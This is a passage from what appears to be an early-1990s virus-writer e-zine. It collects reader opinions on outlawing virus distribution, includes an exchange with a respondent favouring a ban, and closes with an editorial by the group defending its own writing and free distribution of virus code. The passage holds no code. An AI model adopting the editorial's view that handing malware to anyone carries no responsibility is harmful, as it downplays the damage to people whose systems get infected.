|
||
No.
|
||
A weak system can be hit by a virus. A strong system is less likely to
|
||
be hit by a virus.
|
||
Make computers more secure. Viruses will always exist.
|
||
|
||
---------------------------
|
||
|
||
From: an2284@anon.penet.fi
|
||
|
||
> 2) Should it be Federally illegal to distribute computer viruses,
|
||
> to KNOWING individuals (ie on "virus" boards)? (This does NOT
|
||
> mean infecting another person with a virus - it means giving
|
||
> them a copy of a virus, and making sure they KNOW it is a virus)
|
||
|
||
Nope. It's just *executable* code this time. :-)
|
||
|
||
---------------------------
|
||
|
||
From: an11290@anon.penet.fi: (Roger)
|
||
|
||
> 2) Should it be Federally illegal to distribute computer viruses,
|
||
> to KNOWING individuals (ie on "virus" boards)? (This does NOT
|
||
> mean infecting another person with a virus - it means giving
|
||
> them a copy of a virus, and making sure they KNOW it is a virus)
|
||
|
||
Following the reasoning in the answer to the last question: yes. However
|
||
I think there is a difference between distributing the actual code and
|
||
only pseudo code. It's like telling someone the principle of an atom bomb,
|
||
or sending him a "do it yourself kit". The last is certainly beyond the
|
||
limit, whereas the first isn't.
|
||
|
||
---------------------------
|
||
|
||
From Josh@lehigh:
|
||
|
||
Doing so would absolutely cripple virus-fighting developments. If a
|
||
user cannot legally send a virus-infected program to the author of a
|
||
virus scanner/cleaner, it becomes impossible for the utility to detect
|
||
and/or remove that type of virus unless the author somehow becomes
|
||
accidentally infected by it.
|
||
|
||
|
||
---------------------------
|
||
|
||
From Oliver in the UK:
|
||
|
||
> 2) Should it be Federally illegal to distribute computer viruses,
|
||
> to KNOWING individuals (ie on "virus" boards)? (This does NOT
|
||
> mean infecting another person with a virus - it means giving
|
||
> them a copy of a virus, and making sure they KNOW it is a virus)
|
||
|
||
Yes. Virus boards, etc. are all nests for hackers-crackers & people
|
||
envolved in the "computer-underworld". Distribution of sources on
|
||
BBS to knowing individuals can only add to the spread of computer
|
||
viruses. In addition to that, so many people would then be able to
|
||
modify the original source code, that one would end-up with a
|
||
virtually unlimited number of variants of each virus - definitely
|
||
the horror scenario.
|
||
|
||
---------------------------
|
||
|
||
From Paul Ferguson:
|
||
|
||
That depends. If it can be proven in a court of law that the
|
||
provider of the computer virus knew before-hand that recipient
|
||
would irresponsibly allow it to pass into the hands of someone
|
||
who would a.) willingly transplant it into an unsuspecting public
|
||
domain or b.) modify it and then release it into an unsuspecting
|
||
public domain, then YES, I believe that is wrongful action that
|
||
should be illegal. If the program (virus) is passed amongst two
|
||
trusted individuals with little or no chance of it "escaping"
|
||
into the public domain, then that is a matter of personal
|
||
transaction which does not affect other computerists.
|
||
|
||
|
||
---------------------------
|
||
|
||
From Jay:
|
||
|
||
> 2) Should it be Federally illegal to distribute computer viruses,
|
||
> to KNOWING individuals (ie on "virus" boards)? (This does NOT
|
||
> mean infecting another person with a virus - it means giving
|
||
> them a copy of a virus, and making sure they KNOW it is a virus)
|
||
|
||
Of course not, if you write a note on a piece of paper and share it with
|
||
a friend, is that a federal offense? What if that note contains information
|
||
that could show your friend how to kill someone? What if the note contains
|
||
a beautiful little poem that happens to describes how to kill someone?
|
||
Software is a vehicle for expressing an idea or concept, no different from
|
||
the written word. If there is no malice, there is no crime. It's not
|
||
illegal to infect someone with a virus if you don't know that you passed
|
||
it along, so why should it be illegal to give away a virus to someone
|
||
who can handle it?
|
||
|
||
|
||
---------------------------
|
||
|
||
From Ed:
|
||
|
||
> Should the distribution of viruses to knowing individuals be illegal?
|
||
|
||
Again, no. One reason is that I doubt very many virus authors would
|
||
heed such a law, and so only the anti-virus community would suffer,
|
||
making conditions worse. Another reason is the First Ammendment of the
|
||
Constitution of the United States, which guarantees freedom of speech
|
||
to everyone. Distribution of viral code is a form of speech, as it is
|
||
a transfer of data and information. If it weren't for virus transactions,
|
||
no one virus scanner would be very complete, as each would only detect
|
||
a handful of viruses, and one would have to obtain a copy of every scanner
|
||
to have a complete detection system.
|
||
|
||
|
||
|
||
*******************************************************************************
|
||
3) If executable virus code is illegal, then should the SOURCE code
|
||
to the viruses be illegal to copy, sell, or other wise distribute?
|
||
*******************************************************************************
|
||
|
||
David:
|
||
"I don't agree that either should be illegal, but outlawing the source
|
||
would make it much more difficult to devise a defense. It's an extension
|
||
of the above argument..."
|
||
|
||
----------------------------
|
||
|
||
From: an11445@anon.penet.fi:
|
||
|
||
>> 3) If executable virus code is illegal, then should the SOURCE code
|
||
>> to the viruses be illegal to copy, sell, or other wise distribute?
|
||
|
||
If, then; else not. but should be not to begin with.
|
||
|
||
----------------------------
|
||
|
||
From: an11184@anon.penet.fi
|
||
|
||
The answers arise from my views about individual freedom for every human.
|
||
Governments should interfere as little as possible in this.
|
||
|
||
---------------------------
|
||
|
||
From: an10445@anon.penet.fi (Cutthroat):
|
||
|
||
No.
|
||
A virus is less likely to be "accidently" released if it exists only
|
||
as source code.
|
||
Viruses are much easier to study for "legitimate" security purposes
|
||
if it is released as source code.
|
||
|
||
---------------------------
|
||
|
||
From Josh@lehigh:
|
||
|
||
For similar reasons to 1) above, the thought is abhorrent. Taking an
|
||
extreme example, suppose I was to write a compiler. The source code
|
||
for this compiler consists of any text file, and its output is a file
|
||
infector which randomly stamps the source code (text file) on someone's
|
||
hard drive. Therefore, your resume, your letters--in short, any text
|
||
you have whatsoever--becomes source code for a virus. Big brother
|
||
returns--and with a vengeance.
|
||
|
||
---------------------------
|
||
|
||
From Oliver in the UK:
|
||
|
||
> 3) If executable virus code is illegal, then should the SOURCE code
|
||
> to the viruses be illegal to copy, sell, or other wise distribute?
|
||
|
||
See the answer to 2. The SOURCE code is even more lethal than the
|
||
executable. The only way that such code would be transfered, should
|
||
be for research purposes. I am talking here about serious scientific
|
||
research. The more people that have access to source viral code, the
|
||
more likely it is for non-authorised people to have access to it.
|
||
In scientific research, a researcher has access to chemicals & data
|
||
which (s)he is often not entitled to take out of the lab. The same
|
||
should be for viral code.
|
||
|
||
The argument of making Viral Code available to the public "because this
|
||
is the only way to get to know about computer viruses" is hence a
|
||
stupid argument. The sole purpose of releasing viral source code to
|
||
the public is misleadingly "for informational purposes only" and can
|
||
alas only lead to further propagation of the virus itself, as well as
|
||
new variants.
|
||
|
||
---------------------------
|
||
|
||
From Paul Ferguson:
|
||
|
||
Executable code of any kind should not ever (and will not, IMHO)
|
||
be illegal. That is absurd. It is the use of said code that would
|
||
constitute a violation of another's practice of safe computing. If
|
||
this code (viruses) are released into the public domain, I consider
|
||
it a practice of reckless computing. Hey, we have laws against
|
||
reckless driving and reckless endangerment, why not reckless
|
||
computing?
|
||
|
||
|
||
---------------------------
|
||
|
||
From Jay:
|
||
|
||
> 3) If executable virus code is illegal, then should the SOURCE code
|
||
> to the viruses be illegal to copy, sell, or other wise distribute?
|
||
|
||
Executable code shouldn't be illegal. Is it illegal to translate a book
|
||
from English to Spanish? Can you translate a book from English to Spanish
|
||
without knowing either language? You CAN convert source code to executable
|
||
code without knowing the source language, or assembly/machine code.
|
||
|
||
Let's assume that I was to give a computer illiterate friend, a floppy
|
||
containing source code to computer mortgage payments, a public domain
|
||
compiler, and instructions for compiling the application, "type MAKE".
|
||
Lets also assume that I received the source code from someone else, and
|
||
the code contained a virus hidden in the source (in source code form) that
|
||
I was unaware of. If the friend follows the instructions, and compiles
|
||
the virus did he break the law? He thought he was just getting a program
|
||
to calculate mortgage payments. Am I guilty of a crime? I just gave a
|
||
friend some innocent source code. This is ludicrous.
|
||
|
||
If source code for a virus causes no problems for either the giver or
|
||
receiver, why should it be banned? If I write a book that contains a
|
||
series of instructions that detail a plan to overthrow the US goverment,
|
||
is that a crime? If I sell the book, is that criminal? Tom Clancy does
|
||
it...he sells millions. If I write a book that details instructions
|
||
for overthrowing MSDOS, is that crime? What if I choose distribute it
|
||
electronically?
|
||
|
||
This is all stupid, prohibiting information doesn't work.
|
||
|
||
The bottom line is that if an act was done with malice, there may
|
||
be a crime, if the act was done without malice, there is no crime.
|
||
|
||
|
||
---------------------------
|
||
|
||
From Ed:
|
||
|
||
> If executable virus transfer is made illegal, should source code be
|
||
> restricted as well?
|
||
|
||
I would prefer that neither are made illegal, but if this situation were
|
||
to arise, I would have to say no. Source code qualifies for the First
|
||
Ammendment more so than viral samples. Now, I'm not saying it's justified
|
||
to go and give source code to anyone who asks for it, after all why do you
|
||
think there are so many variants of Vienna and Pixel? But legal action used
|
||
to restrict the actual transactions of viral material is not a valid course
|
||
of action, practically or ethically.
|
||
|
||
I can not condone distribution of viral samples to anyone who asks for it
|
||
(especially "Nuke-EM!!" types), however I've found that many anti-viral
|
||
researchers simply can't obtain the samples they need because they aren't in
|
||
the "inner circle" of trusted anti-virus vendors. It's a very difficult
|
||
issue to deal with, as to how to deal with virus distribution, such as
|
||
who should be allowed to procure the viruses they need, and who shouldn't.
|
||
It's an ethical and moral delemma, but one this is for sure, it should not
|
||
be illegal!
|
||
|
||
|
||
*****************************************************************************
|
||
Please mail me with YOUR opinions to the above, and feel free to
|
||
explain your views, or present other opinions you may have.
|
||
*****************************************************************************
|
||
|
||
From: an11445@anon.penet.fi:
|
||
|
||
There are already enough laws in existance. we do not need more laws.
|
||
we need people who know how to interpret the existing laws in light of
|
||
the societal and technological changes in our society.
|
||
|
||
---------------------------
|
||
|
||
From Marc:
|
||
|
||
There is no statement of illegality in this domain that
|
||
wouldn't lead inexorably to the licensing of anti-virus
|
||
software developers and the stifling of most forms of
|
||
independent research into system security. You would end up
|
||
with the same kind of idiocy that makes it impossible to use
|
||
certain drugs as medicines or even to do research with them.
|
||
You would also end up having to give the police extraordinary
|
||
powers to enable enforcement, as in all cases of victimless
|
||
crime.
|
||
|
||
---------------------------
|
||
|
||
----------------------------------------------------------------------------
|
||
Note From DecimatoR: The following conversation was between myself and
|
||
Oliver, the one person who stated that everything dealing with the creation
|
||
of viruses should be internationally controlled. Since his opinions differed
|
||
so strongly from mine, and most of those I recieved, I chose to include our
|
||
conversation here, unedited. I appreciate the time he took in corresponding
|
||
with me. Thanks, guy.
|
||
----------------------------------------------------------------------------
|
||
|
||
(The quoted text is from me, the others from him. Like you couldn't tell)
|
||
|
||
From Oliver:
|
||
|
||
Hello,
|
||
I got your 2 emails regarding the fact that I was the only
|
||
person to favour a full clampdown on viruses etc.
|
||
Let me answer the direct questions in your 2 emails:
|
||
|
||
>Your response so far has been the only one which out-and-out said that YES,
|
||
>viruses, source code for them, etc should be internationally illegal. I
|
||
>actually thought there would be more opinions like yours, however this seems
|
||
>not to be the case. So, if you don't mind, I'd like a little more insight
|
||
>into your ideas. I noticed you were from London, where there have recently
|
||
>been arrests of people who write and sell viruses. I assume you agree that
|
||
>the government has the right to make such an arrest. My question to you:
|
||
|
||
Yes, I agree with the government regarding those arrests.
|
||
|
||
>where do you draw the line regarding censorship? Many respondents claimed
|
||
>that banning the writing of viruses would be censorship, to an extreme they
|
||
>are NOT willing to tolerate. You think differently. So, where do you think
|
||
>the line should be drawn? With viruses? Maybe "trojanized" code? Or code
|
||
>that will disable itself after x number of runs?
|
||
|
||
This is a very difficult line to draw. I think that the first selection that
|
||
one must make is whether the code is to destroy data, or will simply
|
||
replicate (like a worm). The easiest piece of code to look at is trojanized
|
||
code. Its sole purpose is usually to destroy data. I qualify purpose-
|
||
made trojanized code as malicious vandalism. In addition to that,
|
||
"trojanization" of a commercial or public domain program itself already
|
||
breaks the law due to copyright infringements and/or license breaches.
|
||
Viruses are, also by definition, data destructors. Anyone writing a virus
|
||
and planning to distribute it should hence also be breaking the law.
|
||
Worms are supposed not to destroy data; however let us consider the fact
|
||
that a worm spreads on computer systems and a bug in the worm's code
|
||
corrupts user data. What I am trying to get to is the fact that worms
|
||
spread in people's machines without their approval, and I find this to
|
||
be morally wrong. Compare this with, say, skeleton keys of apartments
|
||
in a town. Would you support the idea of making skeleton keys, exchanging
|
||
them on "skeleton-key-BBS" legal ? It would mean that it's legal for anyone
|
||
to have skeleton keys and use them to "visit" apartments at will.
|
||
So here, we are reaching the fact that a computer's HD has now grown
|
||
to be part of someone's house, someone's belongings, someone's living
|
||
space, and that any breach of privacy is unwelcome. Since worms breach
|
||
that privacy, then wouldn't it be a protection for the public to
|
||
outlaw those worms ? So I support the fact of making all code that
|
||
self-replicates from system to system illegal.
|
||
|
||
|
||
>Doesn't the intervention of the government in such areas bother you? If
|
||
>not, why not? Obviously your opinions are quite different than mine.
|
||
|
||
No. The government has many duties towards the people of a country, and
|
||
one of them is protection of the people themselves. Remember, I am
|
||
not asking for the government to censor ideas, I am asking for it to
|
||
stop propagation of malicious items; people often refer to this as
|
||
censorship since we're talking about intellectual data, but this is
|
||
a big mistake. I believe that freedom will be more easily enforceable
|
||
if simple basic laws of morals can be enforced.
|
||
Consider gun laws:
|
||
- in UK, gun laws are very tough indeed. No individual is allowed to
|
||
carry a gun without special permits, and those are extremely hard to
|
||
obtain. Individuals allowed to carry a gun are usually under threat
|
||
from terrorism, etc. Those are very isolated cases. As a result, the
|
||
British police is mostly still unarmed. The number of gun-related
|
||
offenses is very low indeed, and any injury is usually caused by knives.
|
||
As a result, repression from the British police needs not be so strong.
|
||
- in USA, in some states, gun laws are very relaxed. Gun-related offenses
|
||
are high, and the US police needs to carry guns as well. The amount of
|
||
repression used by the police has to be much higher than elsewhere.
|
||
I was shocked to hear that police in USA had their gun out when stopping
|
||
a car for speeding. How "friendly" does that make them ?
|
||
Pro-gun individuals would immediately shout that any clamping-down on
|
||
guns is a breach of their freedom, etc. etc. And they even have an
|
||
advantage over pro-virus-enthusiasts that they can argue that the gun
|
||
is for their safety, while I can't think of a positive use for a virus.
|
||
|
||
>is a good thing, because I am looking for differing points of view. I
|
||
>consider England to be far too strict in censorship, and government control.
|
||
>It would really bother me to have to put up with that kind of control over
|
||
>my life. Yet you seem to agree with it.
|
||
|
||
Agreed, there are a few things which the UK government censors that I
|
||
don't agree with. But take, for example, the freedom of the press:
|
||
- Should newspapers have the right to write *anything* about *anyone* ?
|
||
Freedom of speech in this case is only possible if newspaper editors
|
||
are reasonable about what they write. But what often happens is that
|
||
editors praise their "freedom of speech" and allow defammatory articles,
|
||
made-up of lies, etc., thus hurting individuals to such an extent that
|
||
those individuals may have their life affected by that so-called "freedom-
|
||
of-speech" forever.
|
||
Full open democracy, full freedom of speech, full openness only works when
|
||
everybody is nice and kind, and no-one is malicious etc. But this unfortu-
|
||
nately isn't the case in real life. Censorship has to be applied in areas
|
||
which could hurt more people than help them.
|
||
|
||
|
||
>like your answers to a few more in-depth questions. First of all, many who
|
||
>responded said that banning viruses would be a form of censorship, one which
|
||
>they would not be willing to tolerate. How would you reply to this?
|
||
|
||
Censorship applies both to intellectual ideas, as well as material ideas.
|
||
The only thing that people make mistakes about is believing that censorship
|
||
of intellectual ideas is bad, and censorship of things (something which
|
||
may be dangerous to them - say a chemical) is okay. The big mistake made
|
||
is to think that intellectual ideas may not hurt them. Computer viruses
|
||
are thought of as intellectual ideas, and thus people usually adopt a
|
||
soft policy towards them by thinking that it cannot hurt them.
|
||
|
||
>ALso, I believe you are from England, what do you think of the recent raids
|
||
>on virus writers, and the man who was selling virueses in your country?
|
||
>Good? Bad?
|
||
|
||
I completely agree with the government on those matters. What good to society
|
||
are virus writers ? Their sole purpose was to spread their viruses
|
||
worldwide. Their initial statement (which I didn't keep a copy of,
|
||
unfortunately, thinking it was a joke) was so childishly written, I
|
||
could not believe it, but let's not divert to talk about the personality
|
||
of some virus writers. The fact is clear: Viruses can do more harm than
|
||
a lot of other things in life. Have you ever witnessed someone who has
|
||
made no backup of his work, and has had much of his work destroyed by
|
||
a virus ? We aren't talking here about a corrupted copy of Windows 3.1
|
||
that can be re-installed in 30 minutes but about 1 week's original
|
||
work from somebody. I personally haven't been hit, but I have seen people
|
||
in the labs here, and believe me, it's time we stop treating virus-writers
|
||
as "joyful hackers" that do this for fun.
|
||
|
||
>And lastly, a question: do you write computer programs? If so, then doesn't
|
||
>it bother you knowing that you are _not_allowed_ to write a certain KIND of
|
||
>program, simply because the government considers it "bad"?
|
||
|
||
I write computer programs daily, in the course of my research (which is
|
||
unrelated to viruses). I use my programming skills to develop systems
|
||
not only for my benefit but also for the benefit of mankind, through
|
||
better future telecommunication systems. My competence in programming
|
||
is high enough to write viruses, trojans, etc. but I am not attracted to
|
||
it whatsoever. If those programming geniuses (aka virus writers), devoted
|
||
their programming time to other activities than virus writing, than
|
||
perhaps they would be able to make something out of their life, instead
|
||
or ruining other people's.
|
||
But let's imagine that I was interested in writing a virus. Who would know ?
|
||
If I wrote a virus on my PC at home, and not release it, not publicize it,
|
||
not mention it to anyone, who would know ? If then I made a mistake,
|
||
and transfered it (against my will) to my computer at work, and infected
|
||
computers all around the place, then whose fault would it be ? Mine.
|
||
I would then have to be ready to face the consequences.
|
||
|
||
>think censorship and banning of code should go? And, for those who violate
|
||
>the bans, what punishment do you believe is suitable?
|
||
|
||
Banning of the code, IMHO, should be as far as public posting of the
|
||
source on BBS, distribution by any means, infection of any computer.
|
||
I am hesitating about banning the publication of flow charts for the
|
||
code, since this would involve a fair amount of work from potential
|
||
copycats. But banning of full-working virus sources is certainly a
|
||
priority.
|
||
I am not a lawyer, so it would be hard for me to expand on the form of
|
||
punishment for those violating the bans. I think that each case should
|
||
have to be taken separately, depending on the potential danger of
|
||
each piece of code, and also on the damage already inflicted (if any)
|
||
before the trial.
|
||
|
||
Cheers,
|
||
|
||
Oliver
|
||
|
||
|
||
--------------------------
|
||
Final note from Dec:
|
||
--------------------------
|
||
|
||
|
||
All in all, the majority response was that no, the coding of and distributing
|
||
of virus code should _not_ be outlawed in the United States. Of course, I
|
||
certainly feel the same way. The government should NOT be able to say that
|
||
any piece of code, no matter what the purpose or possible use may be, should
|
||
not be written. Programming is freedom of expression, and to some, even art.
|
||
To limit that with laws and stipulations not only takes away the rights of ALL
|
||
Americans, but goes against the freedoms that America was founded upon.
|
||
|
||
No matter what your point of view on viruses - be they ethical, unethical,
|
||
whether you write them or hunt them down and destroy them, I truly hope you
|
||
would never want them to be outlawed.
|
||
|
||
Of course, I should mention my views concerning the spreading of viruses to
|
||
unknowing users. I firmly believe that such action IS unethical, and, quite
|
||
simply, wrong. And yes, that action SHOULD be made illegal. Many of the
|
||
respondees to my post compared the legallities of viruses with those of
|
||
firearms. While this may be a valid comparison in some cases, in others it is
|
||
quite unrealistic. Most who used this idea said that virus code should be
|
||
restricted to those responsible enough to handle it, just like guns are
|
||
restricted to those who are responsible. I have a small problem with this.
|
||
Firearms are restricted because they can be used to cause serious or fatal
|
||
injuries. No computer virus can be used to kill another person. However, no
|
||
gun actually KILLS another person. People kill people, the gun is simply an
|
||
instrument used. Maybe a knife would be a better comparison. Just becuase
|
||
murders are committed with knives, should we restrict them? OR ban them
|
||
outright? No, of course not. Same with viruses. Although they have the
|
||
potential to be used in destructive ways, they should not be banned. The
|
||
people who abuse them should be treated as the criminals they are. The people
|
||
who create and help educate others with them should not be treated as
|
||
criminals.
|
||
|
||
We in Phalcon/Skism all believe in the freedom of information, and the right
|
||
that each and every American has to his own opinions. Yes, we've written
|
||
viruses, and yes, we have no qualms about distributing virus code. (This
|
||
magazine is one good example) No one will be injured through our actions,
|
||
because we simply cranked out this 100% ascii text magazine. We don't spread
|
||
our creations intentionally. We do distribute them to those who want them,
|
||
and sometimes people do spread them. We cannot control the actions of others.
|
||
Breaking the law is wrong. We don't break the law by programming. We don't
|
||
break the law by sharing code. Don't hold us responsible for those who use
|
||
our creations to break the law. After all, you wouldn't hold Smith and Wesson
|
||
responsible for a crime committed using one of their firearms, would you? No.
|
||
Nor would you hold GMC, Inc. responsible for a death caused by a drunk driving
|
||
one of their vehicles. They were not at fault for creating the vehicle. The
|
||
drunk was at fault for acting the way he did. Same goes for viruses, and virus
|
||
authors. Don't place the blame on the wrong party. There is a strong
|
||
difference between creation and abuse.
|
||
|
||
Next time you ponder the legality of virus writing, think about this. You
|
||
wouldn't want cars banned just because a few people don't handle them
|
||
responsibly. Attack the criminal, not the creator. And NEVER take away a
|
||
person's right to create.
|
||
--DecimatoR
|
||
Phalcon/Skism
|
||
|
||
Author's Note:
|
||
|
||
This article is dedicated to the members of the ARCV, a England based group of
|
||
virus authors, who were arrested, jailed, and had their equipment confiscated,
|
||
simply because they chose to express themselves through the creation of self-
|
||
replicating code. This is also dedicated to the man arested by Scotland Yard
|
||
on December 10th, for advertising to sell virus code in the UK.
|
||
|
||
I hope to God that NEVER would ANYONE in America need to fear for their
|
||
freedom, simply because they chose to program a computer or sell public domain
|
||
code.
|
||
|
||
|